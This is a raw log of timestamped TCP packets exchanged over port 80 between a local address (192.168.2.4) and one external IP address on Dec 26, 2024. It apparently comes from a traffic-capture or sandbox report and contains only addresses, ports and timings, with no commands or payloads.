Dec 26, 2024 13:22:46.420423031 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.421245098 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.421334982 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.421379089 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.422235966 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.422332048 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.422374010 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.423142910 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.423263073 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.423309088 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.424118042 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.424194098 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.424235106 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.425055981 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.425139904 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.425242901 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.426059008 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.426163912 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.426208019 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.427004099 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.427254915 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.427299023 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.427934885 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.428070068 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.428116083 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.428843021 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.476285934 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.589449883 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.589494944 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.589668036 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.589799881 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.589898109 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.590051889 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.590698004 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.590805054 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.590907097 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.591754913 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.591831923 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.591877937 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.592653036 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.592794895 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.592896938 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.593580008 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.593770981 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.593815088 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.594691992 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.594724894 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.594773054 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.595680952 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.595746040 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.595828056 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.596646070 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.596678019 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.596723080 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.597547054 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.597635984 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.597691059 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.598546982 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.598592043 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.599502087 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.599555016 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.599581003 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.599807978 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.600543022 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.600723982 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.600764990 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.601444960 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.601656914 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.601706982 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.602411985 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.602570057 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.602713108 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.603349924 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.603635073 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.603682041 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.604367971 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.604502916 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.604552984 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.605370045 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.605482101 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.605540037 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.606282949 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.606396914 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.606447935 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.607259989 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.607434988 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.607774973 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.608227015 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.608381033 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.608428955 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.609110117 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.609266996 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.609451056 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.610158920 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.610539913 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.610677004 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.611152887 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.611304045 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.611829042 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.612224102 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.612363100 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.612413883 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.613284111 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.613395929 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.614681005 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.614729881 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.614787102 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.615822077 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.615875006 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.615927935 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.615969896 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.616925001 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.617178917 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.617331982 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.618112087 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.618370056 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.618448019 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.619229078 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.619400978 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.619451046 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.620307922 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.620470047 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.620523930 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.621151924 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.621205091 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.621252060 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.622033119 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.622097015 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.622137070 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.622807026 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.622896910 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.622947931 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.623563051 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.623646021 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.623697996 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.624528885 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.624563932 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.624613047 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.625447989 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.625516891 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.625564098 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.626267910 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.626351118 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.626480103 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.627240896 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.627362967 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.627418041 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.628129005 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.628170013 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.628252983 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.629060984 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.629127026 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.629257917 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.629985094 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.630106926 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.630245924 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.630850077 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.630975962 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.631025076 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.631772995 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.631823063 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.631870031 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.632637024 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.632750988 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.632805109 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.633552074 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.633640051 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.633697033 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.634462118 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.634589911 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.635001898 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.635454893 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.635579109 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.635934114 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.636306047 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.636483908 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.636687040 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.637327909 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.637428999 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.637497902 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.638330936 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.638521910 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.638566971 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.639334917 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.639693022 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.640275002 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.640299082 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.694891930 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.799863100 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.800019026 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.800091982 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.800246000 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.800472021 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.801246881 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.801390886 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.801398039 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.801433086 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.802189112 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.802766085 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.803199053 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.803251982 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.803306103 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.804168940 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.804223061 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.804264069 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.804306984 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.805052996 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.805174112 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.805219889 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.806020021 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.806126118 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.806180000 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.806982040 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.807142973 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.807198048 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.807929993 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.808038950 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.808300018 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.808909893 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.808975935 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.809875011 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.809922934 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.810074091 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.810832977 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.810902119 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.810942888 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.811052084 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.811810017 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.811898947 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.811958075 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.812710047 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.812833071 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.812885046 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.813709021 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.813882113 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.814349890 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.814613104 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.814778090 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.815568924 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.815629959 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.815692902 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.816569090 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.816627026 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.816648960 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.817483902 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.817532063 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.817553997 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.817595005 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.818440914 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.818578005 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.818634987 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.819392920 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.819559097 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.819610119 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.820372105 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.820411921 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.820471048 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.821419954 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.821475029 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.822295904 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.822345972 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.822370052 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.822559118 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.823189020 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.823316097 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.823371887 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.824171066 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.824273109 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.824326038 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.825154066 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.825228930 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.825279951 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.826090097 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.826204062 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.826322079 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.827136040 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.827219009 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.828075886 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.828108072 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.828135967 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.828154087 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.828984022 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.829102039 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.829160929 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.829932928 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.829974890 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.830025911 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.830919981 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.831026077 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.831077099 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.831851959 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.831945896 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.832887888 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.832941055 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.832958937 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.833748102 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.833802938 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.833888054 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.833935022 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.834701061 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.834819078 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.834868908 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.835653067 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.835860014 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.836636066 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.836683989 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.836713076 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.837651968 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.837704897 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.837754965 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.837800026 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.838597059 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.838732004 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.838779926 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.839550018 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.839622021 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.839673996 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.840436935 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.840538025 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.840589046 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.841461897 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.841530085 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.841586113 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.842677116 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.842825890 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.842874050 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.843683958 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.843964100 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.845072031 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.845128059 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.845148087 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.845913887 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.845957041 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.845968962 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.845995903 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.846681118 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.846782923 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.846834898 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:46.847578049 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:46.847642899 CET	80	49745	185.215.113.16	192.168.2.4
